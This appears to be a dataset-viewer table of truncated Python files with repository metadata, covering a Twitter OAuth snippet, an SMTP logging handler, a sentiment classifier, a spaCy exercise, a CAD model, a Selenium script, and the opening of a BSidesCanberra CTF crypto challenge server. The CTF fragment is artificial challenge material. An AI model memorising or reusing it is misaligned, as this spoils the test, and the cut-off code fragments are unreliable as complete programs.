REQUEST_TOKEN_URL = 'https://api.twitter.com/oauth/request_token'
ACCESS_TOKEN_URL = 'https://api.twitter.com/oauth/access_token'
AUTHORIZATION_URL = 'https://api.twitter.com/oauth/authorize'
SIGNIN_URL = 'https://api.twitter.com/oauth/authenticate'
def g... | 34.73913 | 97 | 0.660826 |
d864f2293700a0be8ad0445c8b2fef912f3b26e6 | 3,891 | py | Python | mail_logger.py | twothreenine/task-rotation | 64a3a648c960df65d03587a3f7009ce4b1f7df44 | [
"MIT"
] | null | null | null | mail_logger.py | twothreenine/task-rotation | 64a3a648c960df65d03587a3f7009ce4b1f7df44 | [
"MIT"
] | 1 | 2022-01-09T18:35:17.000Z | 2022-01-09T18:35:17.000Z | mail_logger.py | twothreenine/task-rotation | 64a3a648c960df65d03587a3f7009ce4b1f7df44 | [
"MIT"
] | null | null | null | import os
import logging
from pprint import pprint
import smtplib
from logging.handlers import SMTPHandler
from email.message import EmailMessage
import email.utils
import email.mime.multipart
class CustomSMTPHandler(SMTPHandler):
def emit(self, record):
"""
Emit a record.
"""
try:
... | 38.147059 | 241 | 0.654331 |
d8a53165e7fb8adc5f868a51b392b81b68029042 | 4,026 | py | Python | multinomial_naive_bayes/multinomial_naive_bayes.py | florianfricke/Bachelor_Thesis_Sentiment_Analyse | aa1fa95cfbc13115ee60baaf79eab0d1940998ab | [
"MIT"
] | 1 | 2020-06-04T13:20:45.000Z | 2020-06-04T13:20:45.000Z | multinomial_naive_bayes/multinomial_naive_bayes.py | florianfricke/Bachelor_Thesis_Sentiment_Analyse | aa1fa95cfbc13115ee60baaf79eab0d1940998ab | [
"MIT"
] | 6 | 2020-06-03T18:45:11.000Z | 2022-02-10T01:51:03.000Z | multinomial_naive_bayes/multinomial_naive_bayes.py | florianfricke/Bachelor_Thesis_Sentiment_Analyse | aa1fa95cfbc13115ee60baaf79eab0d1940998ab | [
"MIT"
] | null | null | null | """
Created by Florian Fricke.
"""
from sklearn.model_selection import train_test_split
from sklearn.feature_extraction.text import CountVectorizer
from sklearn.naive_bayes import MultinomialNB
from sklearn import metrics
from utilities.utilities import transform_data
from utilities.utilities import plot_confusion_mat... | 43.290323 | 195 | 0.58768 |
d8b0c3da6c6d25a6423e6fae81dd25b704d1390b | 125 | py | Python | exercises/zh/solution_01_02_01.py | tuanducdesign/spacy-course | f8d092c5fa2997fccb3f367d174dce8667932b3d | [
"MIT"
] | 2 | 2020-07-07T01:46:37.000Z | 2021-04-20T03:19:43.000Z | exercises/zh/solution_01_02_01.py | tuanducdesign/spacy-course | f8d092c5fa2997fccb3f367d174dce8667932b3d | [
"MIT"
] | null | null | null | exercises/zh/solution_01_02_01.py | tuanducdesign/spacy-course | f8d092c5fa2997fccb3f367d174dce8667932b3d | [
"MIT"
] | null | null | null | # 导入spaCy
import spacy
# 创建英文nlp对象
nlp = spacy.blank("en")
# 处理文本
doc = nlp("This is a sentence.")
# 打印文本
print(doc.text)
| 10.416667 | 32 | 0.664 |
d8d4c9ae20693a58604372656c0288cb2fcc41e1 | 927 | py | Python | zencad/examples/Models/organizer/organizer.py | Spiritdude/zencad | 4e63b1a6306dd235f4daa2791b10249f7546c95b | [
"MIT"
] | 5 | 2018-04-11T14:11:40.000Z | 2018-09-12T19:03:36.000Z | zencad/examples/Models/organizer/organizer.py | Spiritdude/zencad | 4e63b1a6306dd235f4daa2791b10249f7546c95b | [
"MIT"
] | null | null | null | zencad/examples/Models/organizer/organizer.py | Spiritdude/zencad | 4e63b1a6306dd235f4daa2791b10249f7546c95b | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# coding: utf-8
from zencad import *
def section(w, h, l, t, d, d2):
return (
box(2 * t + w, t + l, 2 * t + h)
- box(w, l, h).translate(t, 0, t)
- box(w - 2 * d, l, h + 2 * t).translate(t + d, 0, 0)
- box(w, l + t, h - d2).translate(t, 0, d2 + t)
)
# n... | 23.175 | 74 | 0.485437 |
2b15a61cce4804b2a70c829111ffc73e9d8c8199 | 616 | py | Python | books/PythonAutomate/webscrap/link_click.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | books/PythonAutomate/webscrap/link_click.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | books/PythonAutomate/webscrap/link_click.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | """link_click.py"""
from selenium import webdriver
# 브라우저 실행 (chromedriver 가 PATH에 설정되어 있어야 함)
browser = webdriver.Chrome()
# inventwithpython.com 접속
browser.get('https://inventwithpython.com')
# 클래스명이 'cover-thumb' 인 태그 찾기
try:
elem = browser.find_element_by_class_name('cover-thumb')
print(f"Found {elem.tag_name} ... | 32.421053 | 69 | 0.766234 |
51cac38a5650fcc3562b5210c050c201919fa75e | 3,819 | py | Python | BSidesCanberra/2021/crypto/Empty_Vault/mt_flask.py | mystickev/ctf-archives | 89e99a5cd5fb6b2923cad3fe1948d3ff78649b4e | [
"MIT"
] | 1 | 2021-11-02T20:53:58.000Z | 2021-11-02T20:53:58.000Z | BSidesCanberra/2021/crypto/Empty_Vault/mt_flask.py | ruhan-islam/ctf-archives | 8c2bf6a608c821314d1a1cfaa05a6cccef8e3103 | [
"MIT"
] | null | null | null | BSidesCanberra/2021/crypto/Empty_Vault/mt_flask.py | ruhan-islam/ctf-archives | 8c2bf6a608c821314d1a1cfaa05a6cccef8e3103 | [
"MIT"
] | 1 | 2021-12-19T11:06:24.000Z | 2021-12-19T11:06:24.000Z | from flask import Flask,render_template, request
app = Flask(__name__)
'''
"What is identity? It is the difference between us. Difference is experienced in the mind, yet the Buddha said this mind creates the world, that this world only exists in the mind and nowhere else."
'''
from hashlib import sha256
import os
fr... | 29.376923 | 198 | 0.633936 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.